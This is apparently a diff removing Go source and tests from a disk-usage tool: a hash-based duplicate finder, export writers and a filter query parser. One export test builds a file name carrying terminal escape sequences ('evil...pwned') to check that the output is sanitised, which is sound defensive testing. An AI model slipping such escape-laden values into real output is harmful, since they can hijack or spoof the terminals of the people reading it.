func (f *Finder) stage(s string, fn func(*Progress)) {
f.mu.Lock()
f.p.Stage = s
if fn != nil {
fn(&f.p)
}
f.mu.Unlock()
}
// Find searches t (read-locked internally only while collecting candidates).
func (f *Finder) Find(ctx context.Context, t *inventory.Tree, o Options) ([]Group, error) {
if o.MinSize < 1 {
o.MinSize = 1
}
if o.Workers < 1 {
o.Workers = 4
}
f.stage("grouping by size", nil)
bySize := map[int64][]cand{}
t.RLock()
t.Walk(t.Root(), func(id inventory.NodeID, n *inventory.Node) bool {
if n.Kind == inventory.KindFile && n.Flags&inventory.FlagHardlinkDup == 0 && n.Size >= o.MinSize {
bySize[n.Size] = append(bySize[n.Size], cand{id: id, size: n.Size})
}
return true
})
var groups [][]cand
var ncand int64
for _, g := range bySize {
if len(g) > 1 {
for i := range g {
g[i].path = t.Path(g[i].id)
}
groups = append(groups, g)
ncand += int64(len(g))
}
}
t.RUnlock()
f.stage("sampling", func(p *Progress) { p.Candidates = ncand; p.CandidateGroups = int64(len(groups)) })
// Stage 2: sample hashes.
var sampled [][]cand
for _, g := range groups {
if ctx.Err() != nil {
return nil, ctx.Err()
}
if g[0].size <= 3*sampleSize {
sampled = append(sampled, g) // a sample would be the whole file
continue
}
sampled = append(sampled, f.split(ctx, g, o.Workers, sampleHash)...)
}
// Stage 3: full hashes.
var total int64
for _, g := range sampled {
total += g[0].size * int64(len(g))
}
f.toHash.Store(total)
f.stage("hashing", nil)
var out []Group
for _, g := range sampled {
if ctx.Err() != nil {
return nil, ctx.Err()
}
for _, sub := range f.splitHash(ctx, g, o.Workers) {
grp := Group{Size: sub.size, Hash: sub.hash}
for _, c := range sub.files {
grp.Files = append(grp.Files, c.id)
}
out = append(out, grp)
}
}
sort.Slice(out, func(i, j int) bool {
if a, b := out[i].Wasted(), out[j].Wasted(); a != b {
return a > b
}
return out[i].Files[0] < out[j].Files[0]
})
f.stage("done", func(p *Progress) { p.VerifiedGroups = int64(len(out)) })
return out, ctx.Err()
}
type hashed struct {
c cand
sum [32]byte
ok bool
}
// hashAll hashes every candidate with a bounded worker pool.
func (f *Finder) hashAll(ctx context.Context, g []cand, workers int, fn func(*Finder, cand) ([32]byte, bool)) []hashed {
res := make([]hashed, len(g))
var wg sync.WaitGroup
sem := make(chan struct{}, workers)
for i, c := range g {
if ctx.Err() != nil {
break
}
sem <- struct{}{}
wg.Add(1)
go func() {
defer wg.Done()
defer func() { <-sem }()
sum, ok := fn(f, c)
if !ok {
f.skipped.Add(1)
}
res[i] = hashed{c, sum, ok}
}()
}
wg.Wait()
return res
}
func (f *Finder) split(ctx context.Context, g []cand, workers int, fn func(*Finder, cand) ([32]byte, bool)) [][]cand {
by := map[[32]byte][]cand{}
for _, h := range f.hashAll(ctx, g, workers, fn) {
if h.ok {
by[h.sum] = append(by[h.sum], h.c)
}
}
var out [][]cand
for _, v := range by {
if len(v) > 1 {
out = append(out, v)
}
}
return out
}
type fullGroup struct {
size int64
hash [32]byte
files []cand
}
func (f *Finder) splitHash(ctx context.Context, g []cand, workers int) []fullGroup {
by := map[[32]byte][]cand{}
for _, h := range f.hashAll(ctx, g, workers, fullHash) {
if h.ok {
by[h.sum] = append(by[h.sum], h.c)
}
}
var out []fullGroup
for sum, v := range by {
if len(v) > 1 {
sort.Slice(v, func(i, j int) bool { return v[i].id < v[j].id })
out = append(out, fullGroup{size: v[0].size, hash: sum, files: v})
}
}
return out
}
// open opens a candidate and checks it still has the inventoried size.
func open(c cand) (*os.File, bool) {
fh, err := platform.OpenContent(c.path)
if err != nil {
return nil, false
}
fi, err := fh.Stat()
if err != nil || !fi.Mode().IsRegular() || fi.Size() != c.size {
fh.Close()
return nil, false
}
return fh, true
}
func sampleHash(_ *Finder, c cand) ([32]byte, bool) {
fh, ok := open(c)
if !ok {
return [32]byte{}, false
}
defer fh.Close()
h := sha256.New()
buf := make([]byte, sampleSize)
for _, off := range []int64{0, c.size/2 - sampleSize/2, c.size - sampleSize} {
if _, err := fh.ReadAt(buf, off); err != nil && err != io.EOF {
return [32]byte{}, false
}
h.Write(buf)
}
var s [32]byte
h.Sum(s[:0])
return s, true
}
func fullHash(f *Finder, c cand) ([32]byte, bool) {
fh, ok := open(c)
if !ok {
return [32]byte{}, false
}
defer fh.Close()
h := sha256.New()
n, err := io.Copy(h, &countingReader{fh, &f.hashed})
if err != nil || n != c.size {
return [32]byte{}, false
}
var s [32]byte
h.Sum(s[:0])
return s, true
}
type countingReader struct {
r io.Reader
n *atomic.Int64
}
func (c *countingReader) Read(p []byte) (int, error) {
n, err := c.r.Read(p)
c.n.Add(int64(n))
return n, err
}
-61
View File
@@ -1,61 +0,0 @@
package duplicate
import (
"context"
"os"
"path/filepath"
"testing"
"github.com/andydixon/mapsize/internal/scan"
)
func TestFind(t *testing.T) {
root := t.TempDir()
big := make([]byte, 200_000)
for i := range big {
big[i] = byte(i * 7)
}
w := func(name string, b []byte) {
if err := os.WriteFile(filepath.Join(root, name), b, 0o644); err != nil {
t.Fatal(err)
}
}
w("a.bin", big)
w("b.bin", big)
// Same size, same samples, different middle-of-nowhere byte: must not match.
c := append([]byte(nil), big...)
c[20_000] ^= 1
w("c.bin", c)
w("small1", []byte("hello"))
w("small2", []byte("hello"))
w("small3", []byte("world")) // same size, different content
s, err := scan.Start(context.Background(), root, scan.Options{Workers: 2})
if err != nil {
t.Fatal(err)
}
<-s.Done()
var f Finder
groups, err := f.Find(context.Background(), s.Tree, Options{})
if err != nil {
t.Fatal(err)
}
if len(groups) != 2 {
t.Fatalf("groups=%d want 2", len(groups))
}
names := func(g Group) (out []string) {
for _, id := range g.Files {
out = append(out, s.Tree.Node(id).Name)
}
return
}
if g := names(groups[0]); len(g) != 2 || groups[0].Size != 200_000 {
t.Fatalf("big group %v", g)
}
if g := names(groups[1]); len(g) != 2 {
t.Fatalf("small group %v", g)
}
if p := f.Progress(); p.Candidates != 6 || p.VerifiedGroups != 2 {
t.Fatalf("progress %+v", p)
}
}
-51
View File
@@ -1,51 +0,0 @@
//go:build unix
package duplicate
import (
"context"
"os"
"path/filepath"
"syscall"
"testing"
"time"
"github.com/andydixon/mapsize/internal/scan"
)
// A candidate replaced by a FIFO (or a symlink to one) after the scan must
// be skipped, not block the search forever in open(2).
func TestFindSkipsSwappedFIFO(t *testing.T) {
root := t.TempDir()
for _, n := range []string{"a", "b", "c"} {
os.WriteFile(filepath.Join(root, n), []byte("same"), 0o644)
}
s, err := scan.Start(context.Background(), root, scan.Options{Workers: 1})
if err != nil {
t.Fatal(err)
}
<-s.Done()
os.Remove(filepath.Join(root, "b"))
if err := syscall.Mkfifo(filepath.Join(root, "b"), 0o644); err != nil {
t.Skip("mkfifo:", err)
}
fifo2 := filepath.Join(t.TempDir(), "p")
syscall.Mkfifo(fifo2, 0o644)
os.Remove(filepath.Join(root, "c"))
os.Symlink(fifo2, filepath.Join(root, "c"))
done := make(chan error, 1)
var f Finder
go func() { _, err := f.Find(context.Background(), s.Tree, Options{}); done <- err }()
select {
case err := <-done:
if err != nil {
t.Fatal(err)
}
case <-time.After(5 * time.Second):
t.Fatal("duplicate search blocked on a FIFO")
}
if p := f.Progress(); p.Skipped != 2 {
t.Fatalf("skipped=%d want 2", p.Skipped)
}
}
-221
View File
@@ -1,221 +0,0 @@
// Package export writes inventories as JSON, CSV or plain-text reports.
// Callers must hold the tree's read lock (or own the tree exclusively).
package export
import (
"bufio"
"encoding/csv"
"encoding/json"
"fmt"
"io"
"path/filepath"
"strconv"
"strings"
"time"
"github.com/andydixon/mapsize/internal/brand"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/textutil"
)
type jsonNode struct {
Name string `json:"name"`
Type string `json:"type"`
Size int64 `json:"size"`
Allocated int64 `json:"allocated"`
Files uint32 `json:"files,omitempty"`
Dirs uint32 `json:"dirs,omitempty"`
Errors uint32 `json:"errors,omitempty"`
Modified string `json:"modified,omitempty"`
Flags []string `json:"flags,omitempty"`
Children []*jsonNode `json:"children,omitempty"`
}
var flagNames = []struct {
f inventory.Flags
n string
}{
{inventory.FlagHardlinkDup, "hardlink-duplicate"}, {inventory.FlagMountPoint, "mount-point"},
{inventory.FlagVirtualFS, "virtual-fs-skipped"}, {inventory.FlagSkippedFS, "other-fs-skipped"},
{inventory.FlagSparse, "sparse"}, {inventory.FlagError, "error"}, {inventory.FlagIncomplete, "incomplete"},
{inventory.FlagLoop, "loop-skipped"}, {inventory.FlagFollowed, "followed-symlink"},
{inventory.FlagAllocUnknown, "allocated-unknown"}, {inventory.FlagBrokenLink, "broken-symlink"},
{inventory.FlagHardlinked, "hardlinked"},
}
// FlagList returns human-readable names for a node's flags.
func FlagList(f inventory.Flags) []string {
var out []string
for _, fn := range flagNames {
if f&fn.f != 0 {
out = append(out, fn.n)
}
}
return out
}
// JSON writes the tree beneath root as nested JSON, down to maxDepth levels
// (maxDepth < 0 means unlimited).
func JSON(w io.Writer, t *inventory.Tree, root inventory.NodeID, maxDepth int) error {
bw := bufio.NewWriter(w)
st := &t.Stats
head := map[string]any{
"generator": brand.Name + " " + brand.Version,
"root": t.Path(root),
"complete": !st.Incomplete(),
"cancelled": st.Cancelled,
"started": st.Start.Format(time.RFC3339),
"elapsed_s": st.Elapsed().Seconds(),
"errors": errorCounts(st),
"excluded": st.Excluded,
"excludes": st.Excludes,
"hardlink_duplicates": st.HardlinkDups,
}
hb, err := json.Marshal(head)
if err != nil {
return err
}
bw.Write(hb[:len(hb)-1])
bw.WriteString(`,"tree":`)
if err := writeNode(bw, t, root, maxDepth); err != nil {
return err
}
bw.WriteString("}\n")
return bw.Flush()
}
func errorCounts(st *inventory.Stats) map[string]int64 {
m := map[string]int64{}
for k, c := range st.ErrCounts {
if c > 0 {
m[inventory.ErrKind(k).String()] = c
}
}
return m
}
// writeNode streams one node; children are written recursively so memory
// stays proportional to depth, not tree size.
func writeNode(bw *bufio.Writer, t *inventory.Tree, id inventory.NodeID, depth int) error {
n := t.Node(id)
jn := jsonNode{Name: n.Name, Type: kindName(n.Kind), Size: n.TotSize, Allocated: n.TotAlloc,
Files: n.Files, Dirs: n.Dirs, Errors: n.Errors, Flags: FlagList(n.Flags)}
if n.MTime != 0 {
jn.Modified = time.Unix(0, n.MTime).UTC().Format(time.RFC3339)
}
b, err := json.Marshal(jn)
if err != nil {
return err
}
if n.FirstChild == inventory.NoNode || depth == 0 {
_, err = bw.Write(b)
return err
}
bw.Write(b[:len(b)-1])
bw.WriteString(`,"children":[`)
first := true
for _, c := range t.SortedChildren(id, inventory.SizeAllocated) {
if !first {
bw.WriteByte(',')
}
first = false
if err := writeNode(bw, t, c, depth-1); err != nil {
return err
}
}
_, err = bw.WriteString("]}")
return err
}
func kindName(k inventory.Kind) string {
return [...]string{"file", "dir", "symlink", "other"}[k&3]
}
// CSV writes one row per node beneath root (depth-limited). Paths are
// sanitised so the output is safe to print to a terminal.
func CSV(w io.Writer, t *inventory.Tree, root inventory.NodeID, maxDepth int) error {
cw := csv.NewWriter(w)
cw.Write([]string{"path", "type", "size", "allocated", "files", "dirs", "errors", "modified", "flags"})
var rec func(id inventory.NodeID, path string, depth int) error
rec = func(id inventory.NodeID, path string, depth int) error {
n := t.Node(id)
mod := ""
if n.MTime != 0 {
mod = time.Unix(0, n.MTime).UTC().Format(time.RFC3339)
}
flags := ""
for i, f := range FlagList(n.Flags) {
if i > 0 {
flags += "|"
}
flags += f
}
if err := cw.Write([]string{textutil.Sanitize(path), kindName(n.Kind),
strconv.FormatInt(n.TotSize, 10), strconv.FormatInt(n.TotAlloc, 10),
strconv.FormatUint(uint64(n.Files), 10), strconv.FormatUint(uint64(n.Dirs), 10),
strconv.FormatUint(uint64(n.Errors), 10), mod, flags}); err != nil {
return err
}
if depth == 0 {
return nil
}
for _, c := range t.SortedChildren(id, inventory.SizeAllocated) {
if err := rec(c, filepath.Join(path, t.Node(c).Name), depth-1); err != nil {
return err
}
}
return nil
}
if err := rec(root, t.Path(root), maxDepth); err != nil {
return err
}
cw.Flush()
return cw.Error()
}
// Table writes "size % files path" rows for the given nodes.
func Table(w io.Writer, t *inventory.Tree, ids []inventory.NodeID, m inventory.SizeMode) {
total := t.Node(t.Root()).Total(m)
fmt.Fprintf(w, "%12s %6s %12s %s\n", "SIZE", "%", "FILES", "PATH")
for _, id := range ids {
n := t.Node(id)
files := ""
if n.IsDir() {
files = textutil.Count(int64(n.Files))
}
fmt.Fprintf(w, "%12s %6s %12s %s\n", textutil.Size(n.Total(m)), textutil.Percent(n.Total(m), total),
files, textutil.Sanitize(t.Path(id)))
}
}
// Summary writes the scan summary, making incompleteness explicit.
func Summary(w io.Writer, t *inventory.Tree) {
st := &t.Stats
r := t.Node(t.Root())
fmt.Fprintf(w, "Root %s\n", textutil.Sanitize(st.Root))
fmt.Fprintf(w, "Files %s\n", textutil.Count(st.Files+st.Symlinks+st.Others))
fmt.Fprintf(w, "Directories %s\n", textutil.Count(st.Dirs))
fmt.Fprintf(w, "Logical size %s (%d bytes)\n", textutil.Size(r.TotSize), r.TotSize)
fmt.Fprintf(w, "Allocated size %s (%d bytes)\n", textutil.Size(r.TotAlloc), r.TotAlloc)
fmt.Fprintf(w, "Elapsed %s\n", st.Elapsed().Round(time.Millisecond))
for k, c := range st.ErrCounts {
if c > 0 {
fmt.Fprintf(w, "%-15s %s\n", inventory.ErrKind(k).String(), textutil.Count(c))
}
}
if st.Excluded > 0 {
fmt.Fprintf(w, "Excluded %s entries (%s)\n", textutil.Count(st.Excluded), textutil.Sanitize(strings.Join(st.Excludes, ", ")))
}
if st.SkippedMounts > 0 {
fmt.Fprintf(w, "Other FS skipped %s\n", textutil.Count(st.SkippedMounts))
}
if st.VirtualSkipped > 0 {
fmt.Fprintf(w, "Virtual FS skipped %s\n", textutil.Count(st.VirtualSkipped))
}
if st.HardlinkDups > 0 {
fmt.Fprintf(w, "Hard-link dups %s (counted once)\n", textutil.Count(st.HardlinkDups))
}
if st.Incomplete() {
fmt.Fprintln(w, "WARNING: totals are incomplete — some data could not be inspected.")
}
}
-74
View File
@@ -1,74 +0,0 @@
package export
import (
"bytes"
"encoding/json"
"strings"
"testing"
"github.com/andydixon/mapsize/internal/inventory"
)
const hostile = "evil\x1b]0;pwned\x07\x1b[2J"
func tree() *inventory.Tree {
t := inventory.New("/r", inventory.KindDir)
d := t.Add(0, "d", inventory.KindDir)
f := t.Add(d, hostile, inventory.KindFile)
t.Node(f).Size, t.Node(f).Alloc = 10, 4096
t.Recompute()
t.Stats.Complete = true
return t
}
func noControl(t *testing.T, s string) {
t.Helper()
if strings.ContainsAny(s, "\x1b\x07") {
t.Fatalf("raw control characters in output: %q", s)
}
}
func TestOutputsAreTerminalSafe(t *testing.T) {
tr := tree()
var b bytes.Buffer
if err := CSV(&b, tr, 0, -1); err != nil {
t.Fatal(err)
}
noControl(t, b.String())
if !strings.Contains(b.String(), `evil\x1b]0;pwned\x07`) {
t.Fatalf("CSV should show the escaped name: %s", b.String())
}
b.Reset()
Table(&b, tr, []inventory.NodeID{2}, inventory.SizeAllocated)
Summary(&b, tr)
noControl(t, b.String())
b.Reset()
if err := JSON(&b, tr, 0, -1); err != nil {
t.Fatal(err)
}
noControl(t, b.String())
var v struct {
Tree struct {
Children []struct {
Children []struct{ Name string }
}
}
}
if err := json.Unmarshal(b.Bytes(), &v); err != nil {
t.Fatal(err)
}
// JSON keeps the exact name (escaped by the encoder, decoded back).
if got := v.Tree.Children[0].Children[0].Name; got != hostile {
t.Fatalf("JSON name %q", got)
}
}
func TestJSONDepthLimit(t *testing.T) {
var b bytes.Buffer
JSON(&b, tree(), 0, 1)
if strings.Contains(b.String(), "evil") {
t.Fatal("depth 1 should not include grandchildren")
}
}
-78
View File
@@ -1,78 +0,0 @@
package filter
import (
"context"
"time"
"github.com/andydixon/mapsize/internal/inventory"
)
// Result holds per-node filtered sizes: the bytes of matching content beneath
// each node. A matching directory contributes its whole subtree (once, even
// if descendants match too). Matched marks every node satisfying the query. Nodes added
// after the result was computed (live scan) have no entry and are treated as
// not matching until the filter is re-applied.
type Result struct {
Query *Query
Mode inventory.SizeMode
Sizes []int64 // per NodeID; len = tree size at evaluation time
Matched []bool // node itself matched
Count int64 // number of matching nodes
Total int64
Elapsed time.Duration
}
// Size returns the filtered size of id (0 if out of range).
func (r *Result) Size(id inventory.NodeID) int64 {
if int(id) < len(r.Sizes) {
return r.Sizes[id]
}
return 0
}
// IsMatch reports whether id itself matched.
func (r *Result) IsMatch(id inventory.NodeID) bool {
return int(id) < len(r.Matched) && r.Matched[id]
}
// Apply evaluates q over the whole tree. The tree must be read-locked by the
// caller. It relies on parents having smaller IDs than their children.
func Apply(ctx context.Context, t *inventory.Tree, q *Query, m inventory.SizeMode) (*Result, error) {
start := time.Now()
n := t.Len()
r := &Result{Query: q, Mode: m, Sizes: make([]int64, n), Matched: make([]bool, n)}
covered := make([]bool, n)
c := &Ctx{Tree: t, Now: time.Now().UnixNano()}
if q.UsesPath {
c.dirPaths = map[inventory.NodeID]string{}
}
for i := range n {
if i&0xffff == 0 && ctx.Err() != nil {
return nil, ctx.Err()
}
id := inventory.NodeID(i)
nd := t.Node(id)
c.ID, c.Node, c.path = id, nd, ""
if c.dirPaths != nil && nd.IsDir() {
c.path = c.lowerPath()
c.dirPaths[id] = c.path
}
if i > 0 && q.Match(c) {
r.Matched[i] = true
covered[i] = true
r.Count++
}
if i > 0 && covered[nd.Parent] {
covered[i] = true
}
if covered[i] && nd.Flags&inventory.FlagHardlinkDup == 0 {
r.Sizes[i] = nd.Own(m)
}
}
for i := n - 1; i > 0; i-- {
r.Sizes[t.Node(inventory.NodeID(i)).Parent] += r.Sizes[i]
}
r.Total = r.Sizes[0]
r.Elapsed = time.Since(start)
return r, nil
}
-176
View File
@@ -1,176 +0,0 @@
package filter
import (
"path/filepath"
"regexp"
"strings"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/platform"
)
// Ctx is the evaluation context for one node. The tree must be read-locked.
type Ctx struct {
Tree *inventory.Tree
ID inventory.NodeID
Node *inventory.Node
Now int64 // unix nanoseconds
path string
// dirPaths caches lower-cased directory paths during Apply, which visits
// parents before children, so a node's path is one concatenation.
dirPaths map[inventory.NodeID]string
}
func (c *Ctx) str(f Field) string {
n := c.Node
switch f {
case FName:
return strings.ToLower(n.Name)
case FPath:
if c.path == "" {
c.path = c.lowerPath()
}
return c.path
case FExt:
return c.Tree.ExtName(n)
case FType:
return strings.ToLower(n.Kind.String())
case FCategory:
if n.IsDir() {
return "directory"
}
return strings.ToLower(n.Cat.String())
case FOwner:
return strings.ToLower(platform.UserName(n.UID))
case FGroup:
return strings.ToLower(platform.GroupName(n.GID))
}
return ""
}
func (c *Ctx) num(f Field) int64 {
n := c.Node
switch f {
case FSize:
return n.TotSize
case FAllocated:
return n.TotAlloc
case FAge:
return c.Now - n.MTime
case FModified:
return n.MTime
case FFiles:
return int64(n.Files)
}
return 0
}
func (c *Ctx) lowerPath() string {
if c.dirPaths != nil {
if p, ok := c.dirPaths[c.ID]; ok {
return p
}
if pp, ok := c.dirPaths[c.Node.Parent]; ok {
sep := string(filepath.Separator)
if strings.HasSuffix(pp, sep) {
sep = ""
}
return pp + sep + strings.ToLower(c.Node.Name)
}
}
return strings.ToLower(c.Tree.Path(c.ID))
}
type node interface{ eval(*Ctx) bool }
type andNode struct{ l, r node }
type orNode struct{ l, r node }
type notNode struct{ n node }
func (n andNode) eval(c *Ctx) bool { return n.l.eval(c) && n.r.eval(c) }
func (n orNode) eval(c *Ctx) bool { return n.l.eval(c) || n.r.eval(c) }
func (n notNode) eval(c *Ctx) bool { return !n.n.eval(c) }
type containsNode struct {
field Field
sub string
}
func (n containsNode) eval(c *Ctx) bool { return strings.Contains(c.str(n.field), n.sub) }
type globNode struct {
field Field
pat string
}
func (n globNode) eval(c *Ctx) bool {
ok, _ := filepath.Match(n.pat, c.str(n.field))
return ok
}
type reNode struct {
field Field
re *regexp.Regexp
}
func (n reNode) eval(c *Ctx) bool { return n.re.MatchString(c.str(n.field)) }
type eqNode struct {
field Field
set []string
}
func (n eqNode) eval(c *Ctx) bool {
if n.field == FFlag {
for _, s := range n.set {
if c.Node.Flags&flagNames[s] != 0 {
return true
}
}
return false
}
v := c.str(n.field)
for _, s := range n.set {
if v == s {
return true
}
}
return false
}
type numNode struct {
field Field
op string
vals []int64
}
func (n numNode) eval(c *Ctx) bool {
if (n.field == FAge || n.field == FModified) && c.Node.MTime == 0 {
return false // unknown time never matches
}
v := c.num(n.field)
for _, x := range n.vals {
var ok bool
switch n.op {
case "=":
ok = v == x
case "!=":
ok = v != x
case ">":
ok = v > x
case ">=":
ok = v >= x
case "<":
ok = v < x
case "<=":
ok = v <= x
}
if ok {
return true
}
}
return false
}
// Match evaluates the query against one node.
func (q *Query) Match(c *Ctx) bool { return q.root.eval(c) }
-122
View File
@@ -1,122 +0,0 @@
package filter
import (
"context"
"testing"
"time"
"github.com/andydixon/mapsize/internal/inventory"
)
func tree() *inventory.Tree {
t := inventory.New("/srv", inventory.KindDir)
vms := t.Add(0, "vms", inventory.KindDir)
cache := t.Add(0, "cache", inventory.KindDir)
add := func(p inventory.NodeID, name string, size int64, age time.Duration) inventory.NodeID {
id := t.Add(p, name, inventory.KindFile)
n := t.Node(id)
n.Size, n.Alloc = size, size
n.MTime = time.Now().Add(-age).UnixNano()
n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false)
return id
}
add(vms, "ubuntu.qcow2", 80<<30, 400*24*time.Hour)
add(vms, "win.vmdk", 40<<30, time.Hour)
add(vms, "notes.txt", 1000, time.Hour)
add(cache, "blob.iso", 700<<20, 10*24*time.Hour)
add(cache, "x.tmp", 10, time.Hour)
t.Recompute()
return t
}
func names(t *testing.T, tr *inventory.Tree, q string) map[string]bool {
t.Helper()
pq, err := Parse(q, time.Now())
if err != nil {
t.Fatalf("Parse(%q): %v", q, err)
}
r, err := Apply(context.Background(), tr, pq, inventory.SizeLogical)
if err != nil {
t.Fatal(err)
}
out := map[string]bool{}
for i := range tr.Len() {
if r.IsMatch(inventory.NodeID(i)) {
out[tr.Node(inventory.NodeID(i)).Name] = true
}
}
return out
}
func TestQueries(t *testing.T) {
tr := tree()
cases := map[string][]string{
"ubuntu": {"ubuntu.qcow2"},
"*.iso": {"blob.iso"},
"size > 1GB": {"vms", "ubuntu.qcow2", "win.vmdk"},
"size > 1GB AND type = file": {"ubuntu.qcow2", "win.vmdk"},
"ext = qcow2": {"ubuntu.qcow2"},
"size > 500MB AND ext IN (iso,qcow2,vmdk)": {"ubuntu.qcow2", "win.vmdk", "blob.iso"},
"path contains cache": {"cache", "blob.iso", "x.tmp"},
"age > 365d": {"ubuntu.qcow2"},
"NOT type = dir AND size < 1k": {"notes.txt", "x.tmp"},
"(ext = iso OR ext = tmp) type=file": {"blob.iso", "x.tmp"},
"category = vm": {"ubuntu.qcow2", "win.vmdk", "blob.iso"},
"name matches '^w.*k$'": {"win.vmdk"},
"ext != qcow2 && type = file && size > 1GB": {"win.vmdk"},
"name = 'notes.txt'": {"notes.txt"},
}
for q, want := range cases {
got := names(t, tr, q)
if len(got) != len(want) {
t.Errorf("%q: got %v want %v", q, got, want)
continue
}
for _, w := range want {
if !got[w] {
t.Errorf("%q: got %v want %v", q, got, want)
}
}
}
}
func TestFilteredSizesNoDoubleCount(t *testing.T) {
tr := tree()
q, _ := Parse("name = vms OR ext = qcow2", time.Now())
r, _ := Apply(context.Background(), tr, q, inventory.SizeLogical)
if want := tr.Node(1).TotSize; r.Total != want {
t.Fatalf("total %d want %d (matching dir must not double count matching child)", r.Total, want)
}
}
func TestParseErrors(t *testing.T) {
for _, q := range []string{"", "size >", "size > banana", "(ext = iso", "ext = iso)", "size contains 5",
"name matches '['", "type = blob", "'unterminated", "a & b", "category = nope"} {
if _, err := Parse(q, time.Now()); err == nil {
t.Errorf("Parse(%q) should fail", q)
}
}
}
func TestParseSize(t *testing.T) {
cases := map[string]int64{"1GB": 1e9, "1GiB": 1 << 30, "1.5k": 1536, "500MB": 5e8, "10": 10}
for in, want := range cases {
if got, err := ParseSize(in); err != nil || got != want {
t.Errorf("ParseSize(%q)=%d,%v want %d", in, got, err, want)
}
}
}
func FuzzParse(f *testing.F) {
for _, s := range []string{"size > 1GB", "(a OR b) AND NOT c", "ext IN (a,b)", "'x", "name matches '.*'"} {
f.Add(s)
}
tr := tree()
f.Fuzz(func(t *testing.T, s string) {
q, err := Parse(s, time.Now())
if err != nil {
return
}
Apply(context.Background(), tr, q, inventory.SizeAllocated)
})
}
-103
View File
@@ -1,103 +0,0 @@
// Package filter implements the search/filter query language:
//
// query := or
// or := and { OR and }
// and := unary { [AND] unary } (juxtaposition means AND)
// unary := NOT unary | "(" query ")" | cmp | word
// cmp := field op value
// op := = | != | > | >= | < | <= | contains | matches | in | ~
// value := word | "quoted string" | "(" value { "," value } ")"
//
// A bare word matches the name: substring (case-insensitive), or a glob if it
// contains * ? or [. Parsing is independent of the UI and fully testable.
package filter
import (
"fmt"
"strings"
"unicode"
)
type tokKind int
const (
tEOF tokKind = iota
tWord
tString
tOp
tLParen
tRParen
tComma
)
type token struct {
kind tokKind
val string
pos int
}
func lex(s string) ([]token, error) {
var out []token
i := 0
for i < len(s) {
c := s[i]
switch {
case c == ' ' || c == '\t' || c == '\n' || c == '\r':
i++
case c == '(':
out = append(out, token{tLParen, "(", i})
i++
case c == ')':
out = append(out, token{tRParen, ")", i})
i++
case c == ',':
out = append(out, token{tComma, ",", i})
i++
case c == '"' || c == '\'':
q := c
start := i
i++
var b strings.Builder
for i < len(s) && s[i] != q {
if s[i] == '\\' && i+1 < len(s) {
i++
}
b.WriteByte(s[i])
i++
}
if i >= len(s) {
return nil, fmt.Errorf("unterminated string at %d", start+1)
}
i++
out = append(out, token{tString, b.String(), start})
case strings.ContainsRune("=!<>~&|", rune(c)):
start := i
op := string(c)
if i+1 < len(s) && (s[i+1] == '=' || (c == '&' && s[i+1] == '&') || (c == '|' && s[i+1] == '|')) {
op += string(s[i+1])
}
i += len(op)
switch op {
case "&&":
out = append(out, token{tWord, "AND", start})
case "||":
out = append(out, token{tWord, "OR", start})
case "!":
out = append(out, token{tWord, "NOT", start})
case "&", "|":
return nil, fmt.Errorf("unexpected %q at %d", op, start+1)
case "==":
out = append(out, token{tOp, "=", start})
default:
out = append(out, token{tOp, op, start})
}
default:
start := i
for i < len(s) && !unicode.IsSpace(rune(s[i])) && !strings.ContainsRune("()=!<>~,\"'&|", rune(s[i])) {
i++
}
out = append(out, token{tWord, s[start:i], start})
}
}
return append(out, token{tEOF, "", len(s)}), nil
}
-382
View File
@@ -1,382 +0,0 @@
package filter
import (
"fmt"
"path/filepath"
"regexp"
"strconv"
"strings"
"time"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/textutil"
)
// Field is a filterable attribute.
type Field int
const (
FName Field = iota
FPath
FExt
FType
FCategory
FSize
FAllocated
FAge
FModified
FOwner
FGroup
FFiles
FFlag
)
var fieldNames = map[string]Field{
"name": FName, "path": FPath, "ext": FExt, "extension": FExt, "type": FType, "kind": FType,
"category": FCategory, "cat": FCategory, "size": FSize, "allocated": FAllocated, "alloc": FAllocated,
"age": FAge, "modified": FModified, "mtime": FModified, "owner": FOwner, "user": FOwner, "group": FGroup,
"files": FFiles, "flag": FFlag, "is": FFlag,
}
// Fields lists the field names for help text.
const Fields = "name path ext type category size allocated age modified owner group files flag"
// Query is a compiled filter.
type Query struct {
src string
root node
UsesPath bool
}
func (q *Query) String() string { return q.src }
type parser struct {
toks []token
i int
q *Query
now time.Time
}
// Parse compiles a query. now anchors relative ages (pass time.Now()).
func Parse(s string, now time.Time) (*Query, error) {
toks, err := lex(s)
if err != nil {
return nil, err
}
q := &Query{src: s}
p := &parser{toks: toks, q: q, now: now}
if p.peek().kind == tEOF {
return nil, fmt.Errorf("empty query")
}
q.root, err = p.or()
if err != nil {
return nil, err
}
if t := p.peek(); t.kind != tEOF {
return nil, fmt.Errorf("unexpected %q at %d", t.val, t.pos+1)
}
return q, nil
}
func (p *parser) peek() token { return p.toks[p.i] }
func (p *parser) next() token {
t := p.toks[p.i]
if t.kind != tEOF {
p.i++
}
return t
}
func isKw(t token, kw string) bool { return t.kind == tWord && strings.EqualFold(t.val, kw) }
func (p *parser) or() (node, error) {
l, err := p.and()
if err != nil {
return nil, err
}
for isKw(p.peek(), "OR") {
p.next()
r, err := p.and()
if err != nil {
return nil, err
}
l = orNode{l, r}
}
return l, nil
}
func (p *parser) and() (node, error) {
l, err := p.unary()
if err != nil {
return nil, err
}
for {
t := p.peek()
if isKw(t, "AND") {
p.next()
} else if t.kind == tEOF || t.kind == tRParen || isKw(t, "OR") {
return l, nil
}
r, err := p.unary()
if err != nil {
return nil, err
}
l = andNode{l, r}
}
}
func (p *parser) unary() (node, error) {
t := p.peek()
switch {
case isKw(t, "NOT"):
p.next()
n, err := p.unary()
if err != nil {
return nil, err
}
return notNode{n}, nil
case t.kind == tLParen:
p.next()
n, err := p.or()
if err != nil {
return nil, err
}
if p.next().kind != tRParen {
return nil, fmt.Errorf("missing ) for ( at %d", t.pos+1)
}
return n, nil
case t.kind == tWord || t.kind == tString:
p.next()
if f, ok := fieldNames[strings.ToLower(t.val)]; ok && t.kind == tWord && p.isOp(p.peek()) {
return p.cmp(f, p.next())
}
return nameMatch(t.val), nil
}
return nil, fmt.Errorf("unexpected %q at %d", t.val, t.pos+1)
}
func (p *parser) isOp(t token) bool {
return t.kind == tOp || isKw(t, "contains") || isKw(t, "matches") || isKw(t, "in")
}
func nameMatch(v string) node {
lv := strings.ToLower(v)
if strings.ContainsAny(v, "*?[") {
